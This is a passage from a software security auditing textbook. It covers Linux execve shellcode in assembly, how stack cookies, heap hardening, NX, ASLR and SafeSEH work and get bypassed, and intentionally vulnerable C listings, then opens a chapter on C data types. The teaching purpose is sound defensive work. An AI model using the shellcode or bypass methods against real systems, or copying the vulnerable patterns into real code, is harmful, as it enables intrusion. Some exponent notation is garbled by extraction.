code spawns a command shell when it runs. If this code were run in a network service, the socket descriptor the user is connected with would need to be duplicated over stdin, stdout, and optionally stderr as well. To construct the machine code required to spawn the shell, you need to understand how this code works at a lower level. The execve() function is exported by the standard C library, so a normal program would first locate the libc execve() implementation with a little help from the loader, and then call it. Because this functionality could be difficult to duplicate in reasonably sized shellcode, generally you want to look for a simpler solution. As it turns out, execve() is also a system call on UNIX systems, and all the libc function does is perform the system call. Invoking system calls on an Intel-based OS usually involves building an argument list (in registers or on the stack, depending on the OS), and then asking the kernel to perform a system call on behalf of the process. This can be done with a variety of methods. For Intel systems, the system call functionality can rely on a software interrupt, initiated by the int instruction; a call gate, invoked with an lcall; or special-purpose machine support, such as sysenter. For Linux and many BSD variants, the int 128 interrupt is reserved for system calls. When this interrupt is generated, the kernel handles it, determines that the process needs some system function performed, and carries out the requested task. The procedure for Linux systems is as follows: 1. Put the system call parameters in general-purpose registers starting at EBX. If a system call requires more than five parameters, additional parameters are placed on the stack. 2. Put the system call number of the desired system call in EAX. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 201 3. Use the int 128 instruction to perform the system call. So the assembly code would look something like this initially: xorl %eax, %eax ; zero out EAX movl %eax, %edx ; EDX = envp = NULL movl $address_of_shell_string, %ebx; EBX = path parameter movl $address_of_argv, %ecx; ECX = argv movb $0x0b ; syscall number for execve() int $0x80 ; invoke the system call Nearly all functionality you need when you create shellcode consists of a series of system calls and follows the same basic principles presented here. In Windows, the system call numbers aren't consistent in OS versions, so most Windows shellcode loads system libraries and calls functions in those libraries. A hacker group known as Last Stage of Delirium (LSD) documented the basis for what's used to write most modern Windows shellcode at www.lsd-pl.net/projects/winasm.zip. Finding Your Code in Memory The constructed machine code snippets must be position independentthat is, they must be able to run successfully regardless of their location in memory. To understand why this is important, consider the example in the previous section; you need to provide the address of the argument array vector and the address of the string "/bin/sh" for the pathname parameter. By using absolute addresses, you limit your shellcode's reliability to a large degree and would need to modify it for every exploit you write. Therefore, you should have a method of determining these addresses dynamically, regardless of the process environment in which the code is running. Usually, on Intel x86 CPUs, the strings or data required by shellcode is supplied alongside the code and their address is calculated independently. To understand how this works, consider the semantics of the call instruction. This function implicitly saves a return address on the stack; which is the address of the first byte after the call instruction. Therefore, shellcode is often constructed with the following format: jmp end code: ... shellcode ... end: call code .string "/bin/sh" The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 202 This example jumps to the end of the code and then uses call to run code located directly after the jmp instruction. What is the point of this indirection? Basically, you have the relative address of the string "/bin/sh" located on the stack because of the call instruction implicitly pushing a return address on the stack. Hence, the address of "/bin/sh" can be calculated automatically, regardless of where the shellcode is located in the target application. Combining this with the information in the previous section, execve() shellcode would look something like this: jmp end code: popl %ebx ; EBX = pathname argument xorl %eax, %eax ; zero out EAX movl %eax, %edx ; EDX = envp pushl %eax ; put NULL in argv array pushl %ebx ; put "/bin/sh" in argv array movl %esp, %ecx ; ECX = argv movb $0x0b, %al ; 0x0b = execve() system call int $0x80 ; system call call code .string "/bin/sh" As you can see, the code to start a shell is fairly straightforward; you simply need to fill EBX, ECX, and EDX with pathname, argv, and envp respectively, and then invoke a system call. This example is a simple shellcode snippet, but more complex shellcode is based on the same principles. 7.1.4 Protection Mechanisms The basics covered so far represent viable exploitation techniques for some contemporary systems, but the security landscape is changing rapidly. Modern OSs often include preventive technologies to make it difficult to exploit buffer overflows. These technologies typically reduce the attacker's chance of exploiting a bug or at least reduce the chance that a program can be constructed to reliably exploit a bug on a target host. Chapter 3(? [????.]), "Operational Review," discussed several of these technologies from a high-level operations perspective. This section builds on Chapter 3(? [????.])'s coverage by focusing on technical details of common anticorruption protections and addressing potential and real weaknesses in these mechanisms. This discussion isn't a comprehensive study of protection mechanisms, but it does touch on the most commonly deployed ones. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 203 Stack Cookies Stack cookies (also known as "canary values") are a method devised to detect and prevent exploitation of a buffer overflow on the stack. Stack cookies are a compile-time solution present in most default applications and libraries shipped with Windows XP SP2 and later. There are also several UNIX implementations of stack cookie protections, most notably ProPolice and Stackguard. Stack cookies work by inserting a random 32-bit value (usually generated at runtime) on the stack immediately after the saved return address and saved frame pointer but before the local variables in each stack frame, as shown in Figure 5-13. This cookie is inserted when the function is entered and is checked immediately before the function returns. If the cookie value has been altered, the program can infer that the stack has been corrupted and take appropriate action. This response usually involves logging the problem and terminating immediately. The stack cookie prevents traditional stack overflows from being exploitable, as the corrupted return address is never used. Figure 5-13. Stack frame with and without cookies Limitations This technology is effective but not foolproof. Although it prevents overwriting the saved frame pointer and saved return address, it doesn't protect against overwriting adjacent local variables. Figure 5-5(? [????.]) showed how overwriting local variables can subvert system security, especially when you corrupt pointer values the function uses to modify data. Modification of these pointer values usually results in the attacker seizing control of the application by overwriting a function pointer or other useful value. However, many stack protection systems reorder local variables, which can minimize the risk of adjacent variable overwriting. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 204 Another attack is to write past the stack cookie and overwrite the parameters to the current function. The attacker corrupts the stack cookie by overwriting function parameters, but the goal of the attack is to not let the function return. In certain cases, overwriting function parameters allows the attacker to gain control of the application before the function returns, thus rendering the stack cookie protection ineffective. Although this technique seems as though it would be useful to attackers, optimization can sometimes inadvertently eliminate the chance of a bug being exploited. When a variable value is used frequently, the compiler usually generates code that reads it off the stack once and then keeps it in a register for the duration of the function or the part of the function in which the value is used repeatedly. So even though an argument or local variable might be accessed frequently after an overflow is triggered, attackers might not be able to use that argument to perform arbitrary overwrites. Another similar technique on Windows is to not worry about the saved return address and instead shoot for an SEH overwrite. This way, the attacker can corrupt SEH records and trigger an access violation before the currently running function returns; therefore, attacker-controlled code runs and the overflow is never detected. Finally, note that stack cookies are a compile-time solution and might not be a realistic option if developers can't recompile the whole application. The developers might not have access to all the source code, such as code in commercial libraries. There might also be issues with making changes to the build environment for a large application, especially with hand-optimized components. Heap Implementation Hardening Heap overflows are typically exploited through the unlinking operations performed by the system's memory allocation and deallocation routines. The list operations in memory management routines can be leveraged to write to arbitrary locations in memory and seize complete control of the application. In response to this threat, a number of systems have hardened their heap implementations to make them more resistant to exploitation. Windows XP SP2 and later have implemented various protections to ensure that heap operations don't inadvertently allow attackers to manipulate the process in a harmful manner. These mechanisms include the following:  An 8-bit cookie is stored in each heap header structure. An XOR operation combines this cookie with a global heap cookie, and the heap chunk's address divided by 8. If the resulting value is not 0, heap corruption has occurred. Because the address of the heap chunk is used in this operation, cookies shouldn't be vulnerable to brute-force attacks.  Checks are done whenever an unlink operation occurs to ensure that the previous and next elements are indeed valid. Specifically, both the next and The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 205 previous elements must point back to the current element about to be unlinked. If they don't, the heap is assumed to be corrupt and the operation is aborted. The UNIX glibc heap implementation has also been hardened to prevent easy heap exploitation. The glibc developers have added unlink checks to their heap management code, similar to the Windows XP SP2 defenses. Limitations Heap protection technologies aren't perfect. Most have weaknesses that still allow attackers to leverage heap data structures for reliable (or relatively reliable) exploitation. Some of the published works on defeating Windows heap protection include the following:  "Defeating Microsoft Windows XP SP2 Heap Protection and DEP Bypass" by Alexander Anisimov (www.maxpatrol.com/defeating-xpsp2-heap-protection.htm)  "A New Way to Bypass Windows Heap Protections" by Nicolas Falliere (www.securityfocus.com/infocus/1846)  "Windows Heap Exploitation" by Oded Horovitz and Matt Connover (www.cybertech.net/~sh0ksh0k/heap/XPSP2%20Heap%20Exploitation.ppt) UNIX glibc implementations have undergone similar scrutiny. One useful resource is "The Malloc Maleficarum" by Phantasmal Phantasmagoria (www.securityfocus.com/archive/1/413007/30/0/threaded). The most important limitation of these heap protection mechanisms is that they protect only the internal heap management structures. They don't prevent attackers from modifying application data on the heap. If you are able to modify other meaningful data, exploitation is usually just a matter of time and effort. Modifying program variables is difficult, however, as it requires specific variable layouts. An attacker can create these layouts in many applications, but it isn't always a reliable form of exploitationespecially in multithreaded applications. Another point to keep in mind is that it's not uncommon for applications to implement their own memory management strategies on top of the system allocation routines. In this situation, the application in question usually requests a page or series of pages from the system at once and then manages them internally with its own algorithm. This can be advantageous for attackers because custom memory-management algorithms are often unprotected, leaving them vulnerable to variations on classic heap overwrite attacks. Nonexecutable Stack and Heap Protection The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 206 Many CPUs provide fine-grained protection for memory pages, allowing the CPU to mark a page in memory as readable, writable, or executable. If the program keeps its code and data completely separate, it's possible to prevent shellcode from running by marking data pages as nonexecutable. By enforcing nonexecutable protections, the CPU prevents the most popular exploitation method, which is to transfer control flow to a location in memory where attacker-created data already resides. Note Intel CPUs didn't enforce nonexecutable memory pages until recently (2004). Some interesting workarounds were developed to overcome this limitation, most notably by the PaX development team (now part of the GR-Security team). Documentation on the inner workings of PaX is available at http://pax.grsecurity.net/. Limitations Because nonexecutable memory is enforced by the CPU, bypassing this protection directly isn't feasiblegenerally, the attacker is completely incapacitated from directing execution to a location on the stack or the heap. However, this does not prevent attackers from returning to useful code in the executable code sections, whether it's in the application being exploited or a shared library. One popular technique to circumvent these protections is to have a series of return addresses constructed on the stack so that the attacker can make multiple calls to useful API functions. Often, attackers can return to an API function for unprotecting a region of memory with data they control. This marks the target page as executable and disables the protection, allowing the exploit to run its own shellcode. In general, this protection mechanism makes exploiting protected systems more difficult, but sophisticated attackers can usually find a way around it. With a little creativity, the existing code can be spliced, diced, and coerced into serving the attacker's purpose. Address Space Layout Randomization Address space layout randomization (ASLR) is a technology that attempts to mitigate the threat of buffer overflows by randomizing where application data and code is mapped at runtime. Essentially, data and code sections are mapped at a (somewhat) random memory location when they are loaded. Because a crucial part of buffer overflow exploitation involves overwriting key data structures or returning to specific places in memory, ASLR should, in theory, prevent reliable exploitation because attackers can no longer rely on static addresses. Although ASLR is a form of security by obscurity, it's a highly effective technique for preventing exploitation, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 207 especially when used with some of the other preventative technologies already discussed. Limitations Defeating ASLR essentially relies on finding a weak point in the ASLR implementation. Attackers usually attempt to adopt one of the following approaches:  Find something in memory that's in a static location despite the ASLR. No matter what the static element is, it's probably useful in one way or another. Examples of statically located elements might include base executables that don't contain relocation information (so the loader might not be able to relocate it), specialized data structures present in all mapped processes (such as the Windows PEB and the Linux vsyscall page), the loader itself, and nonrelocatable shared libraries. If ASLR fails to randomize any specific part of the process, it can be relied on and potentially used to undermine the ASLR protection.  Brute force where possible. In a lot of cases, data elements are shifted around in memory but not by a large amount. For example, the current Linux exec-shield ASLR maps the stack at a random location; however, closer inspection of the code shows these mappings include only 256 possible locations. This small set of possible locations doesn't provide for a large randomness factor, and most ASLR implementations don't randomize a child process's memory layout. This lack of randomness creates the potential for a brute force attack when a vulnerable service creates child processes to service requests. An attacker can send requests for each possible offset and eventually achieve successful exploitation when the correct offset is found. SafeSEH Modern Windows systems (XP SP2+, Windows 2003, Vista) implement protection mechanisms for the SEH structures located on the stack. When an exception is triggered, the exception handler target addresses are examined before they are called to ensure that every one is a valid exception handler routine. At the time of this writing, the following procedure determines an exception handler's validity: 1. Get the exception handler address, and determine which module (DLL or executable) the handler address is pointing into. 2. Check whether the module has an exception table registered. An exception table is a table of valid exception handlers that can legitimately be entered in an _EXCEPTION_REGISTRATION structure. This table is optional and modules might omit it. In this case, the handler is assumed to be valid and can be called. 3. If the exception table exists and the handler address in the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 208 _EXCEPTION_REGISTRATION structure doesn't match a valid handler entry, the structure is deemed corrupt and the handler isn't called. Limitations SafeSEH protection is a good complement to the stack cookies used in recent Windows releases, in that it prevents attackers from using SEH overwrites as a method for bypassing the stack cookie protection. However, as with other protection mechanisms, it has had weaknesses in the past. David Litchfield of Next Generation Security Software (NGSSoftware) wrote a paper detailing some problems with early implementations of SafeSEH that have since been addressed (available at www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf). Primary methods for bypassing SafeSEH included returning to a location in memory that doesn't belong to any module (such as the PEB), returning into modules without an exception table registered, or abusing defined exception handlers that might allow indirect running of arbitrary code. Function Pointer Obfuscation Long-lived function pointers are often the target of memory corruption exploits because they provide a direct method for seizing control of program execution. One method of preventing this attack is to obfuscate any sensitive pointers stored in globally visible data structures. This protection mechanism doesn't prevent memory corruption, but it does reduce the probability of a successful exploit for any attack other than a denial of service. For example, you saw earlier that an attacker might be able to leverage function pointers in the PEB of a running Windows process. To help mitigate this attack, Microsoft is now using the EncodePointer(), DecodePointer(), EncodeSystemPointer(), and DecodeSystemPointer() functions to obfuscate many of these values. These functions obfuscate a pointer by combining its pointer value with a secret cookie value using an XOR operation. Recent versions of Windows also use this anti-exploitation technique in parts of the heap implementation. Limitations This technology certainly raises the bar for exploit developers, especially when combined with other technologies, such as ASLR and nonexecutable memory pages. However, it's not a complete solution in itself and has only limited use. Attackers can still overwrite application-specific function pointers, as compilers currently don't encode function pointers the application uses. An attacker might also be able to overwrite normal unencoded variables that eventually provide execution control through a less direct vector. Finally, attackers might identify circumstances that redirect execution control in a limited but useful way. For example, when user-controlled data is in close proximity to a function pointer, just corrupting the low byte of an encoded function pointer might give attackers a reasonable chance of The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 209 running arbitrary code, especially when they can make repeated exploit attempts until a successful value is identified. 7.1.5 Assessing Memory Corruption Impact Now that you're familiar with the landscape of memory corruption, you need to know how to accurately assess the risk these vulnerabilities represent. A number of factors affect how exploitable a vulnerability is. By being aware of these factors, code auditors can estimate how serious a vulnerability is and the extent to which it can be exploited. Can it be used just to crash the application? Can arbitrary code be run? The only way to know for certain is to write a proof-of-concept exploit, but that approach can be far too time consuming for even a moderate-sized application assessment. Instead, you can reasonably estimate exploitability by answering a few questions about the resulting memory corruption. This approach is not as definitive as a proof-of-concept exploit, but it's far less time consuming, making it adequate for most assessments. The Real Cost of Fixing Vulnerabilities You might be surprised at the amount of resistance you can encounter when disclosing vulnerabilities to vendorseven vendors who specifically hired you to perform an assessment. Vendors often say that potential memory corruption bugs aren't exploitable or aren't problems for some reason or another. However, memory corruption affects an application at its most basic level, so all instances need to be given serious consideration. Indeed, history has shown that attackers and security researchers alike have come up with ingenious ways to exploit the seemingly unexploitable. The old adage "where there's a will, there's a way" comes to mind, and when it comes to compromising computer systems, there's definitely a lot of will. Therefore, most auditors think that software vendors should treat all issues as high priority; after all, why wouldn't vendors want their code to be as secure as possible and not fix problems as quickly as they can? The truth is that there's always a price attached to fixing software bugs, including developer time, patch deployment cost, and possible product recalls or reissues. Consider, for example, the cost of distributing a vulnerability update to a widely deployed embedded system, like a smart card or cell phone. Updating these embedded systems often requires hardware modifications or some other intervention by a qualified technician. A company would be irresponsible to incur the costs associated with an update if it doesn't have a reasonable expectation that the bug is exploitable. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 210 Where Is the Buffer Located in Memory? The location of the buffer in memory is important; it affects what choices an attacker has when trying to seize control of the process. Variables are stored mainly in three memory areas: stack, heap, and persistent data (including static and global variables). However, different OSs often further segment these three regions or add new regions. There might be distinctions between initialized and uninitialized global data, or the system might place thread local storage (TLS) at a special location. Also, shared libraries typically have their own uninitialized and initialized data mapped into the process memory immediately after their program code. When determining exploitability, you need to keep track of where the memory corruption occurs and what special considerations apply. This task might include conducting some additional research to understand the process memory layout for a particular OS. What Other Data Is Overwritten? Memory corruption might not be isolated to just the variables an attacker is targeting. It can also overwrite other variables that might complicate the exploitation process. This happens commonly when trying to exploit corruption on the process stack. You already know that vulnerabilities in the stack segment are most often exploited by overwriting the saved program counter. It's not always that straightforward, however; often attackers overwrite local variables before overwriting the saved program counter, which can complicate exploitation, as shown in Listing 5-4. Listing 5-4. Overflowing into Local Variables int dostuff(char *login) { char *ptr = (char *)malloc(1024); char buf[1024]; ... strcpy(buf, login); ... free(ptr); return 0; } This example has a small issue: Although attackers can overwrite the saved program counter, they also overwrite the ptr variable, which gets freed right before the function returns. This means attackers must overwrite ptr with a location in memory that's valid and doesn't result in a crash in the call to free(). Although this method The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 211 makes it possible for attackers to exploit the call to free(), the attack method is more complicated than a simple program counter overwrite (especially if there's no user-controlled data at a static location in memory). When evaluating the risk of buffer overflow vulnerabilities, pay special attention to any variables in the overflow path that mitigate exploit attempts. Also, remember that the compiler might reorder the variable layout during compilation, so you might need to check the binary to confirm exploitability. Note Sometimes more than one function return is required for a bug to be exploitable. For example, OSs running on Sun SPARC CPUs often require two function returns because of the way SPARC register windows work. How Many Bytes Can Be Overwritten? You need to take into account how many bytes the buffer overflows and how much control users have over the size of the overflow. Overflows of too few or too many bytes can make the exploit a lot harder. Obviously, the ideal situation for an attacker is to choose an arbitrary length of data to overflow. Sometimes an attacker can overflow a buffer by a fixed amount, which provides fewer options, but successful exploitation is still likely. If only a small number of bytes can be overflowed, exploitability depends on what data is corrupted. If the attacker is able to corrupt only an adjacent variable in memory that's never used again, the bug is probably unexploitable. Obviously, the less memory the attacker can corrupt, the less likely it is that the bug is exploitable. Conversely, if attackers can overflow by a fixed amount that happens to be very large, the bug invariably results in corrupting a huge part of the program's memory and will almost certainly crash the process. In some cases, when a signal handler or exception handler can be corrupted, attackers can exploit this situation and gain control of the process after an exception has occurred. The most prevalent example is large stack-based overflows in Windows, as attackers can overwrite SEH structures containing function pointers that are accessed when an exception occurs. Additionally, some bugs can result in multiple writes to arbitrary locations in memory. Although often only one overwrite is possible, if multiple overwrites can be performed, an attacker has more leverage in choosing how to exploit the vulnerable program. For example, with format string vulnerabilities, attackers can often write to as many arbitrary locations as they choose, increasing the likelihood of successful exploitation. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 212 Note Sometimes a 1- or 2-byte overwrite is easier to exploit than a 4-byte overwrite. For example, say you overwrite a pointer to an object composed of several pointers followed by a buffer with data you control. In this case, the least significant byte of the pointer value could be overwritten so that the data buffer in the object is pointed to rather than the object itself. You could arbitrarily change the state of any object property and probably exploit the bug quite reliably. What Data Can Be Used to Corrupt Memory? Some memory corruption vulnerabilities don't allow direct control of the data used to overwrite memory. The data might be restricted based on how it's used, as with character restrictions, single-byte overwrites, or attacker-malleable calls to memset(). Listing 5-5 shows an example of a vulnerability in which memory is overwritten with data the attacker doesn't control. Listing 5-5. Indirect Memory Corruption int process_string(char *string) { char **tokens, *ptr; int tokencount; tokens = (char **)calloc(64, sizeof(char *)); if(!tokens) return -1; for(ptr = string; *ptr;){ int c; for(end = ptr; *end && !isspace(end); end++); c = *end; *end = '\0'; tokens[tokencount++] = ptr; ptr = (c == 0 ? end : end + 1); } ... The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 213 This code has a buffer overflow in the bolded line manipulating the tokens array. The data used to overwrite memory can't be controlled directly by attackers, but the overwritten memory includes pointers to attacker-controllable data. This could make exploitation even easier than using a standard technique. If a function pointer is overwritten, for example, attackers require no memory layout information because the function pointer can be replaced with a pointer to attacker-controlled data. However, exploitation could be more complicated if, for example, a heap block header or other complex structure is overwritten. Off-by-one vulnerabilities are one of the most common vulnerabilities involving overwritten data that an attacker doesn't control. Listing 5-6 shows an example of an off-by-one vulnerability. Listing 5-6. Off-by-One Overwrite struct session { int sequence; int mac[MAX_MAC]; char *key; }; int delete_session(struct session *session) { memset(session->key, 0, KEY_SIZE); free(session->key); free(session); } int get_mac(int fd, struct session *session) { unsigned int i, n; n = read_network_integer(fd); if(n > MAX_MAC) return 1; for(i = 0; i <= n; i++) session->mac[i] = read_network_integer(fd); return 0; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 214 If attackers specify the length of mac to be exactly MAX_MAC, the get_mac() function reads one more element than it has allocated space for (as shown in the bolded line). In this case, the last integer read in overwrites the key variable. During the delete_session() function, the key variable is passed to memset before it's deleted, which allows attackers to overwrite an arbitrary location in memory, but only with NUL bytes. Exploiting this vulnerability is complicated because attackers can't choose what data the memory is overwritten with. In addition, the attacker-supplied memory location is subsequently freed, which means that attack would most likely be directed at the memory-management routines. Performing this attack successfully could be extremely difficult, especially in multithreaded applications. Listings 5-5 and 5-6 show how attackers might have difficulty exploiting a vulnerability when the overwritten data can't be controlled. When examining similar issues, you need to determine what's included in the overwritten data and whether it can be controlled by attackers. Usually, attackers have fairly direct control over the data being written or can manipulate the resulting corruption to access attacker-controlled data. Are Memory Blocks Shared? Occasionally, bugs surface in applications in which a memory manager erroneously hands out the same block of memory more than once, even though it's still in use. When this happens, two or more independent parts of the application use the memory block with the expectation that they have exclusive access to it, when in fact they don't. These vulnerabilities are usually caused by one of two errors:  A bug in the memory-management code  The memory-management API being used incorrectly These types of vulnerabilities can also lead to remote execution; however, determining whether memory-block-sharing vulnerabilities are exploitable is usually complicated and application specific. One reason is that attackers might not be able to accurately predict what other part of the application gets the same memory block and won't know what data to supply to perform an attack. In addition, there might be timing issues with the application, particularly multithreaded software servicing a large number of clients whenever they happen to connect. Accepting the difficulties, there are procedures for exploiting these vulnerabilities, so they shouldn't be regarded as low priority without justification. A similar memory corruption can occur in which a memory block is allocated only once (the correct behavior), but then that memory block is handed off to two concurrently running threads with the assumption of mutually exclusive access. This type of The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 215 vulnerability is largely caused by synchronization issues and is covered extensively in Chapter 13(? [????.]), "Synchronization and State." What Protections Are in Place? After you know the details of a potentially exploitable memory corruption vulnerability, you need to consider any mitigating factors that might prevent exploitation. For example, if a piece of software is going to run only on Windows XP SP2+, you know that stack cookies and SafeSEH are present, so a typical stack overflow might not be exploitable. Of course, you can't discount memory corruption just because protective measures are in place. It's quite possible that an attacker could find a way to subvert SafeSEH by using an unsafe loaded module or overwriting a function parameter to subvert stack cookies. However, you need to account for these protective measures and try to gauge the likelihood of an attacker circumventing them and reliably exploiting the system. 7.1.6 Summary This chapter has explained how memory corruption occurs and how it can affect the state of an application. In particular, you've seen how attackers can leverage memory corruption bugs to seize control of applications and perform malicious activities. This knowledge is essential as you assess application security vulnerabilities because it allows you to accurately determine the likelihood of an attacker exploiting a particular memory corruption issue. However, memory corruption exploits are an entire field of study on their own, and the state of the art is constantly changing to find new ways to exploit the previously unexploitable. As a reviewer, you should regard all memory corruption issues as potentially serious vulnerabilities until you can prove otherwise. 7.2 Chapter 6. C Language Issues Chapter 6. C Language Issues "One day you will understand." Neel Mehta, Senior Researcher, Internet Security Systems X-Force 7.2.1 Introduction When you're reviewing software to uncover potential security holes, it's important to understand the underlying details of how the programming language implements data types and operations, and how those details can affect execution flow. A code reviewer examining an application binary at the assembly level can see explicitly how The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 216 data is stored and manipulated as well as the exact implications of an operation on a piece of data. However, when you're reviewing an application at the source code level, some details are abstracted and less obvious. This abstraction can lead to the introduction of subtle vulnerabilities in software that remain unnoticed and uncorrected for long periods of time. A thorough auditor should be familiar with the source language's underlying implementation and how these details can lead to security-relevant conditions in border cases or exceptional situations. This chapter explores subtle details of the C programming language that could adversely affect an application's security and robustness. Specifically, it covers the storage details of primitive types, arithmetic overflow and underflow conditions, type conversion issues, such as the default type promotions, signed/unsigned conversions and comparisons, sign extension, and truncation. You also look at some interesting nuances of C involving unexpected results from certain operators and other commonly unappreciated behaviors. Although this chapter focuses on C, many principles can be applied to other languages. 7.2.2 C Language Background This chapter deals extensively with specifics of the C language and uses terminology from the C standards. You shouldn't have to reference the standards to follow this material, but this chapter makes extensive use of the public final draft of the C99 standard (ISO/IEC 9899:1999), which you can find at www.open-std.org/jtc1/sc22/wg14/www/standards. The C Rationale document that accompanies the draft standard is also useful. Interested readers should check out Peter Van der Linden's excellent book Expert C Programming (Prentice Hall, 1994(? [????.])) and the second edition of Kernighan and Ritchie's The C Programming Language (Prentice Hall, 1988(? [????.])). You might also be interested in purchasing the final version of the ISO standard or the older ANSI standard; both are sold through the ANSI organization's Web site (www.ansi.org). Although this chapter incorporates a recent standard, the content is targeted toward the current mainstream use of C, specifically the ANSI C89/ISO 90 standards. Because low-level security details are being discussed, notes on any situations in which changes across versions of C are relevant have been added. Occasionally, the terms "undefined behavior" and "implementation-defined behavior" are used when discussing the standards. Undefined behavior is erroneous behavior: conditions that aren't required to be handled by the compiler and, therefore, have unspecified results. Implementation-defined behavior is behavior that's up to the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 217 underlying implementation. It should be handled in a consistent and logical manner, and the method for handling it should be documented. 7.2.3 Data Storage Overview Before you delve into C's subtleties, you should review the basics of C typesspecifically, their storage sizes, value ranges, and representations. This section explains the types from a general perspective, explores details such as binary encoding, twos complement arithmetic, and byte order conventions, and winds up with some pragmatic observations on common and future implementations. The C standards define an object as a region of data storage in the execution environment; its contents can represent values. Each object has an associated type: a way to interpret and give meaning to the value stored in that object. Dozens of types are defined in the C standards, but this chapter focuses on the following:  Character types There are three character types: char, signed char, and unsigned char. All three types are guaranteed to take up 1 byte of storage. Whether the char type is signed is implementation defined. Most current systems default to char being signed, although compiler flags are usually available to change this behavior.  Integer types There are four standard signed integer types, excluding the character types: short int, int, long int, and long long int. Each standard type has a corresponding unsigned type that takes the same amount of storage. (Note: The long long int type is new to C99.)  Floating types There are three real floating types and three complex types. The real floating types are float, double, and long double. The three complex types are float _Complex, double_Complex, and long double _Complex. (Note: The complex types are new to C99.)  Bit fields A bit field is a specific number of bits in an object. Bit fields can be signed or unsigned, depending on their declaration. If no sign type specifier is given, the sign of the bit field is implementation dependent. Note Bit fields might be unfamiliar to some programmers, as they usually aren't present outside network code or low-level code. Here's a brief example of a bit field: struct controller { unsigned int id:4; unsigned int tflag:1; unsigned int rflag:1; unsigned int ack:2; unsigned int seqnum:8; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 218 unsigned int code:16; }; The controller structure has several small members. id refers to a 4-bit unsigned variable, and tflag and rflag refer to single bits. ack is a 2-bit variable, seqnum is an 8-bit variable, and code is a 16-bit variable. The members of this structure are likely to be laid out so that they're contiguous bits in memory that fit within one 32-bit region. From an abstract perspective, each integer type (including character types) represents a different integer size that the compiler can map to an appropriate underlying architecture-dependent data type. A character is guaranteed to consume 1 byte of storage (although a byte might not necessarily be 8 bits). sizeof(char) is always one, and you can always use an unsigned character pointer, sizeof, and memcpy() to examine and manipulate the actual contents of other types. The other integer types have certain ranges of values they are required to be able to represent, and they must maintain certain relationships with each other (long can't be smaller than short, for example), but otherwise, their implementation largely depends on their architecture and compiler. Signed integer types can represent both positive and negative values, whereas unsigned types can represent only positive values. Each signed integer type has a corresponding unsigned integer type that takes up the same amount of storage. Unsigned integer types have two possible types of bits: value bits, which contain the actual base-two representation of the object's value, and padding bits, which are optional and otherwise unspecified by the standard. Signed integer types have value bits and padding bits as well as one additional bit: the sign bit. If the sign bit is clear in a signed integer type, its representation for a value is identical to that value's representation in the corresponding unsigned integer type. In other words, the underlying bit pattern for the positive value 42 should look the same whether it's stored in an int or unsigned int. An integer type has a precision and a width. The precision is the number of value bits the integer type uses. The width is the number of bits the type uses to represent its value, including the value and sign bits, but not the padding bits. For unsigned integer types, the precision and width are the same. For signed integer types, the width is one greater than the precision. Programmers can invoke the various types in several ways. For a given integer type, such as short int, a programmer can generally omit the int keyword. So the keywords signed short int, signed short, short int, and short refer to the same data type. In general, if the signed and unsigned type specifiers are omitted, the type is assumed The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 219 to be signed. However, this assumption isn't true for the char type, as whether it's signed depends on the implementation. (Usually, chars are signed. If you need a signed character with 100% certainty, you can specifically declare a signed char.) C also has a rich type-aliasing system supported via typedef, so programmers usually have preferred conventions for specifying a variable of a known size and representation. For example, types such as int8_t, uint8_t, int32_t, and u_int32_t are popular with UNIX and network programmers. They represent an 8-bit signed integer, an 8-bit unsigned integer, a 32-bit signed integer, and a 32-bit unsigned integer, respectively. Windows programmers tend to use types such as BYTE, CHAR, and DWORD, which respectively map to an 8-bit unsigned integer, an 8-bit signed integer, and a 32-bit unsigned integer. Binary Encoding Unsigned integer values are encoded in pure binary form, which is a base-two numbering system. Each bit is a 1 or 0, indicating whether the power of two that the bit's position represents is contributing to the number's total value. To convert a positive number from binary notation to decimal, the value of each bit position n is multiplied by 2n-1. A few examples of these conversions are shown in the following lines: 0001 1011 = 24 + 23 + 21 + 20 = 27 0000 1111 = 23 + 22 + 21 + 20 = 15 0010 1010 = 25 + 23 + 21 = 42 Similarly, to convert a positive decimal integer to binary, you repeatedly subtract powers of two, starting from the highest power of two that can be subtracted from the integer leaving a positive result (or zero). The following lines show a few sample conversions: 55 = 32 + 16 + 4 + 2 + 1 = (25) + (24) + (22) + (21) + (20) = 0011 0111 37 = 32 + 4 + 1 = (25) + (22) + (20) = 0010 0101 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 220 Signed integers make use of a sign bit as well as value and padding bits. The C standards give three possible arithmetic schemes for integers and, therefore, three possible interpretations for the sign bit:  Sign and magnitude The sign of the number is stored in the sign bit. It's 1 if the number is negative and 0 if the number is positive. The magnitude of the number is stored in the value bits. This scheme is easy for humans to read and understand but is cumbersome for computers because they have to explicitly compare magnitudes and signs for arithmetic operations.  Ones complement Again, the sign bit is 1 if the number is negative and 0 if the number is positive. Positive values can be read directly from the value bits. However, negative values can't be read directly; the whole number must be negated first. In ones complement, a number is negated by inverting all its bits. To find the value of a negative number, you have to invert its bits. This system works better for the machine, but there are still complications with addition, and, like sign and magnitude, it has the amusing ambiguity of having two values of zero: positive zero and negative zero.  Twos complement The sign bit is 1 if the number is negative and 0 if the number is positive. You can read positive values directly from the value bits, but you can't read negative values directly; you have to negate the whole number first. In twos complement, a number is negated by inverting all the bits and then adding one. This works well for the machine and removes the ambiguity of having two potential values of zero. Integers are usually represented internally by using twos complement, especially in modern computers. As mentioned, twos complement encodes positive values in standard binary encoding. The range of positive values that can be represented is based on the number of value bits. A 